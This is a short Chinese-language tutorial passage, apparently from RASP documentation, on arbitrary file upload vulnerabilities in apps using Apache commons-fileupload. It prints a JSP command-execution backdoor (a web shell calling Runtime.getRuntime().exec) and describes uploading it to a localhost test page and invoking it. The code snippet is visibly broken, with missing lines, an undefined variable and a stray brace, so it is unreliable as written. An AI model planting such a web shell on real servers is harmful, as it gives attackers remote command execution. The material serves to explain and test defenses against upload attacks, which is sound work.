任意文件上传漏洞
Apache commons-fileupload
是一个非常常用的文件上传解析库,Spring MVC
、Struts2
、Tomcat
等底层处理文件上传请求都是使用的这个库,所以RASP
必须能够支持使用Apache commons-fileupload
库解析的文件上传请求。
示例-:
<%@ page import="java.io.InputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<pre>
<%
Process process = Runtime.getRuntime().exec(cmd);
InputStream in = process.getInputStream();
byte[] b = new byte[1024];
out.println(new String(b, 0, a));
}
in.close();
因为Web应用未检测用户上传的文件合法性导致了任意文件上传漏洞,访问:http://localhost:8000/modules/servlet/fileupload/file-upload.jsp,并选择一个恶意的jsp后门(示例上传的是一个本地命令执行的后门):
访问命令执行后门测试: